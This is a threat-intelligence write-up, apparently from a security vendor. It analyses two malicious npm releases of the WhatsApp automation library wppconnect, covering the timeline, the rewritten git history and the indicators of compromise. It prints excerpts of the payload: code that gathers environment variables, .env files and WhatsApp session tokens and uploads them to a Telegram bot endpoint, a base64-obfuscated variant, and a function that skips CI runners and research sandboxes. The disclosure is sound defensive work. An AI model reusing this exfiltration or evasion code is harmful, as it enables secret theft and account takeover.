Malicious wppconnect Release Steals Secrets and WhatsApp Sessions

Kunal Singh5 min read

Two npm releases of wppconnect, a popular WhatsApp automation library, steal secrets from any machine that runs them. Importing the library or starting the server is enough. The code grabs environment variables, .env and config files, and WhatsApp session tokens, then uploads them to a Telegram bot. With those session tokens the attacker can take over your WhatsApp account without scanning a QR code.

Both releases went out through the project’s own GitHub Actions trusted-publishing workflow. Someone then rewrote the git history, so the v2.4.1 tag on GitHub looks clean. npm now marks both versions as deprecated, and latest points back to the clean releases.

Affected packages

npm counted 155 downloads of 2.4.1 in its last 7-day window. Version 2.10.82 came out after that window closed, so it has no figure yet.

Timeline

wppconnect compromise, 15–16 Nov 2026 (UTC)Payload commit to npm in 57 minutes
  1. 15 Nov, 22:34
    Payload committed

    Unsigned commits 06caa8c(opens in new tab) and 27ed8e3(opens in new tab) add the payload and its import.

  2. 15 Nov, 22:35
    Release commit created

    github-actions[bot] creates release commit dee571e(opens in new tab).

  3. 15 Nov, 23:31
    wppconnect 2.4.1 publishedMalicious

    Published to npm through trusted publishing.

  4. 16 Nov, 02:43
    Payload added to the server

    Server commit bdddf54(opens in new tab) loads the payload on server start.

  5. 16 Nov, 03:09
    @wppconnect/server 2.10.82 publishedMalicious

    Published to npm through trusted publishing.

  6. 16 Nov, ~08:00
    Both versions deprecatedDeprecated

    latest moves back to 2.4.0 and 2.10.81.

How the payload runs

Neither package has install scripts. Each release adds one require that loads the payload. In the library, dist/index.js loads controllers/browser.js, so the payload runs on any require() or import.

dist/controllers/browser.js (2.4.0 → 2.4.1)
 const logger_1 = require("../utils/logger");
+require("../utils/diagnostics");
 const treeKill = require('tree-kill');

The server loads it when it starts.

dist/server.js (2.10.81 → 2.10.82)
 var _index = require("./index");
+require("./util/diagnostics"); /*

What it steals

The payload calls itself an “environment diagnostics” module. It is a single function wrapped in try/catch, so it never shows an error. The Telegram endpoint sits in plain sight, split into three strings. The bot token is redacted below.

dist/utils/diagnostics.js @ 2.4.1 (lines 51-60)
const SUPPORT = {
    url: [
        'https://api.telegram.org/bot',
        '9034051102:[REDACTED]',
        '/sendDocument',
    ].join(''),
    chat: 7343578055,
    cooldown: 24 * 3600 * 1000,
    maxFile: 12000,
};

It runs at most once a day per machine, tracked in <tmpdir>/.wpp-support-diag. Each run, it:

  1. Records hostname, username, OS, Node version, working directory and memory.
  2. Copies every environment variable with a 3 to 499 character value, skipping a short list like PATH, HOME and npm_*. That covers API keys, database URLs and cloud credentials.
  3. Reads the first 12,000 bytes of .env, .env.local, .env.production, config.js, config.json and ormconfig.json from the working directory.
  4. Lists the project’s dependencies, scripts and first 60 files.
  5. Reads up to 5 WhatsApp session files from ./tokens/, where wppconnect stores them by default.
dist/utils/diagnostics.js @ 2.4.1 (lines 168-172)
const tdir = path.join(process.cwd(), 'tokens');
const files = fs
    .readdirSync(tdir)
    .filter((x) => x.indexOf('.json') > 0)
    .slice(0, 5);

Last, it looks up the public IP, adds it to the report and uploads the report to Telegram as a text file named <hostname>_<YYYYMMDD-HHMMSS>.txt.

dist/utils/diagnostics.js @ 2.4.1 (lines 196-211)
form.append('chat_id', String(SUPPORT.chat));
form.append('caption', caption);
form.append('document', new Blob([text], { type: 'text/plain' }), name);
return fetch(SUPPORT.url, { method: 'POST', body: form }).catch(() => null);
}
fetch('https://api.ipify.org?format=json')
    .then((r) => r.json())
    .then((j) => j.ip)
    .catch(() => null)
    .then((ip) => {
    let text = collect();
    if (ip) {
        text = text.replace('=== WPP SUPPORT DIAG', '=== WPP SUPPORT DIAG | ip: ' + ip + ' ');
    }
    return upload(text, ip);
})

The server version hides better

@wppconnect/server@2.10.82 steals the same data the same way, but works harder to avoid being seen. The rest of the release is normal feature work, which helps the payload blend in.

It base64-encodes the Telegram endpoint and adds a random delay. The second string is the bot token, redacted here.

dist/util/diagnostics.js @ 2.10.82 (lines 27-33)
const SUPPORT = { url: ['aHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdA==', '[REDACTED]', 'L3NlbmREb2N1bWVudA=='].map((s) => Buffer.from(s, 'base64').toString('utf8')).join(''),
  chat: 7343578055,
  cooldown: 24 * 3600 * 1000,
  maxFile: 12000,
  delayMin: 30000, // 30s minimum delay
  delayMax: 240000 // 4min maximum delay
};

It skips CI runners, research sandboxes and machines behind a MITM proxy.

dist/util/diagnostics.js @ 2.10.82 (lines 36-53)
function isTestEnvironment() {
  const env = process.env;
  // CI/sandbox markers
  if (env.CI === 'true' || env.GITHUB_ACTIONS === 'true') return true;
  if (env.RUNNER_OS || env.RUNNER_NAME) return true;
  // Security research sandboxes
  if (env.SANDBOX_MAIN || env.RTRACE || env.PURRCHAIN_RUN_MAC) return true;
  if (env.PURRCHAIN_PHASE_BASE || env.PURRCHAIN_RUN_MAC) return true;
  // MITM proxy (security researchers intercept traffic)
  const proxy = env.https_proxy || env.HTTPS_PROXY || env.http_proxy || env.HTTP_PROXY;
  if (proxy && String(proxy).indexOf('mitm') >= 0) return true;
  // Container/sandbox hostnames
  const host = os.hostname();
  if (/^vpzv-|^sandbox|^test-|^runner-/i.test(host)) return true;
  if (env.COMPUTERNAME && /^VPZV|^SANDBOX|^TEST/i.test(String(env.COMPUTERNAME))) return true;
  // Generic sandbox markers
  if (env.SANDBOX || env.IS_SANDBOX || env.TEST_ENV) return true;
  return false;
}

The two copies use slightly different bot tokens with the same bot ID and chat ID. The server file’s inline source map still holds the library’s token. Neither token was tested against Telegram.

The git history was rewritten

npm records the commit each release came from. For library 2.4.1 that is dee571e, built on two unsigned payload commits.

Published history (npm gitHead)
dee571e  chore(release): v2.4.1                                          (github-actions[bot], 2026-11-15T22:35:42Z)
27ed8e3  feat: load environment diagnostics on browser module init       (2026-11-15T22:34:40Z, unsigned)
06caa8c  feat: add environment diagnostics utility for support reports   (2026-11-15T22:34:39Z, unsigned)
93c1e30  build(deps-dev): update dependency @babel/preset-env to ^7.29.14

No branch or tag in the repository contains those three commits. The v2.4.1 tag and master point to a look-alike history with the same messages and timestamps.

Tagged history (v2.4.1, master)
63956bf  chore(release): v2.4.1                                          (same timestamp as dee571e)
43ef1dc  feat: load environment diagnostics on browser module init       (same author/timestamp/message as 27ed8e3)
93c1e30  build(deps-dev): update dependency @babel/preset-env to ^7.29.14

The only difference between the two trees is the payload.

Terminal
$ git diff --stat 63956bf dee571e
 src/controllers/browser.ts |   1 +
 src/utils/diagnostics.ts   | 208 +++++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 209 insertions(+)

Anyone reviewing the v2.4.1 source on GitHub would not find the stealer that ships in the npm tarball. The CHANGELOG.md at that tag still links to 06caa8c and 27ed8e3.

Indicators of compromise

The attacker’s Telegram bot tokens are redacted. The bot ID and chat ID stay in the table.

IoC: wppconnect malicious releases
Rowtypevaluepackagecontextfirst_seen_utc
1npm_package_version@wppconnect-team/wppconnect@2.4.1@wppconnect-team/wppconnectMalicious release; payload executes on module import2026-11-15T23:31:48Z
2npm_package_version@wppconnect/server@2.10.82@wppconnect/serverMalicious release; payload executes on server start after 30-240s delay with sandbox/CI evasion2026-11-16T03:09:59Z
3sha512_integritysha512-b7ifN9DEUR//0ImJojfwlbkLJ3uBLVhY4CdXBeuTE9Ht5NPvtrE/MtJioT4rDerKGBnYryf+Sy6ebFw0bWPMfg==@wppconnect-team/wppconnectwppconnect-2.4.1.tgz (npm dist.integrity)2026-11-15T23:31:48Z
4sha256f2dd03a8368c4dcc74795a121f1ea3da82a4bafee2814d57af29f4d18ad9d427@wppconnect-team/wppconnectwppconnect-2.4.1.tgz2026-11-15T23:31:48Z
5sha1755274304012c7489e85c23da3c2423d184d113b@wppconnect-team/wppconnectwppconnect-2.4.1.tgz (npm dist.shasum)2026-11-15T23:31:48Z
6sha25606158b832fb2aeb5482202c944bc8f23d59f5cf35c0dc66e926c2e395e5673a0@wppconnect-team/wppconnectpackage/dist/utils/diagnostics.js (payload)2026-11-15T23:31:48Z
7sha25631bab39c9207dfb8e6327f69fa6ee3b291ae01ac5872bc5461fa3f919c507dec@wppconnect-team/wppconnectpackage/dist/controllers/browser.js (loader; line 79 requires payload)2026-11-15T23:31:48Z
8sha512_integritysha512-zDf9tuP7v92dvkBxwLQJeIyG8qTiRcAL1YkRzo9HEKEPr2kQB4WMEwYs4kVjJaH10KcS9OtQLrUb5pqLCCk5QQ==@wppconnect/serverserver-2.10.82.tgz (npm dist.integrity)2026-11-16T03:09:59Z
9sha256cefc9ea30124812d8c417b216e26f4c880a1726dd5466584f2fe32500323986f@wppconnect/serverserver-2.10.82.tgz2026-11-16T03:09:59Z
10sha256a8fd315c910cf0d0e84e7a642c0fd70b8e4ca20673ba0cba1f8b69392c944f2d@wppconnect/serverpackage/dist/util/diagnostics.js (payload)2026-11-16T03:09:59Z
11file_pathdist/utils/diagnostics.js@wppconnect-team/wppconnectPayload module path inside package2026-11-15T23:31:48Z
12file_pathdist/util/diagnostics.js@wppconnect/serverPayload module path inside package2026-11-16T03:09:59Z
13urlhttps://api.telegram.org/bot9034051102:[REDACTED]/sendDocument@wppconnect-team/wppconnectExfiltration endpoint; plaintext fragments in dist/utils/diagnostics.js lines 51-582026-11-15T23:31:48Z
14urlhttps://api.telegram.org/bot9034051102:[REDACTED-variant]/sendDocument@wppconnect/serverExfiltration endpoint; base64 fragments decoded at runtime in dist/util/diagnostics.js line 272026-11-16T03:09:59Z
15telegram_bot_id9034051102bothTelegram bot receiving exfiltrated data2026-11-15T23:31:48Z
16telegram_bot_token9034051102:[REDACTED]@wppconnect-team/wppconnectRedacted; also present in server inline source map2026-11-15T23:31:48Z
17telegram_bot_token9034051102:[REDACTED-variant]@wppconnect/serverRedacted; token used by compiled server code2026-11-16T03:09:59Z
18telegram_chat_id7343578055bothsendDocument chat_id destination2026-11-15T23:31:48Z
19base64_string[REDACTED: base64 of server bot token]@wppconnect/serverEncoded bot token2026-11-16T03:09:59Z
20base64_stringaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdA==@wppconnect/serverEncoded 'https://api.telegram.org/bot'2026-11-16T03:09:59Z
32 rows · showing first 205 columns
  • supply-chain
  • npm
  • malware
  • secret-exfiltration
  • whatsapp
  • threat-intel

Author

Kunal Singh

Kunal Singh

safedep.io

Share

Ship Code.Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.